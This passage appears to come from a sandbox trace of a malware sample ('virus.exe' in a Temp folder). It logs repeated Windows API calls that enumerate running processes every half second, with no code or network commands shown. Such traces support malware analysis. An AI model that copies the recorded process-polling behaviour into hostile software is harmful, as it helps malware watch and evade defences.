szExeFile="svchost.exe")) returned 1 [0163.884] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0163.884] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.885] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.885] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0163.886] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0163.886] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0163.886] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0163.887] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0163.887] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.888] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0163.889] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0163.889] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0163.889] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0163.890] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0163.890] Process32NextW (in: hSnapshot=0x11c, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0 [0163.891] CloseHandle (hObject=0x11c) returned 1 [0163.891] Sleep (dwMilliseconds=0x1f4) [0164.588] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac [0164.590] Process32FirstW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.591] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0164.591] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0164.591] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0164.592] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0164.592] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0164.592] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0164.593] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0164.593] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0164.594] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0164.594] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.594] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.595] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.595] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.595] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.596] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0164.596] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.596] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.597] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0164.597] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0164.598] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0164.598] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0164.598] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0164.599] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.599] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0164.600] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0164.600] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0164.600] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0164.601] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0164.602] Process32NextW (in: hSnapshot=0x1ac, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0 [0164.602] CloseHandle (hObject=0x1ac) returned 1 [0164.602] Sleep (dwMilliseconds=0x1f4) [0165.361] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c4 [0165.364] Process32FirstW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.365] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0165.365] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0165.366] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0165.366] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0165.367] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0165.367] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0165.367] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0165.368] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0165.368] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0165.368] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.369] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.369] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.369] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.370] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.370] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0165.370] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.371] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.371] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0165.371] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0165.372] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0165.372] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0165.373] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0165.373] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.373] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0165.376] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0165.376] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0165.376] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0165.377] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0165.377] Process32NextW (in: hSnapshot=0x1c4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0165.377] CloseHandle (hObject=0x1c4) returned 1 [0165.378] Sleep (dwMilliseconds=0x1f4) [0166.093] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d8 [0166.095] Process32FirstW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.096] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0166.096] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0166.096] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.097] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0166.097] Process32NextW (in: hSnapshot=0x1d8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, 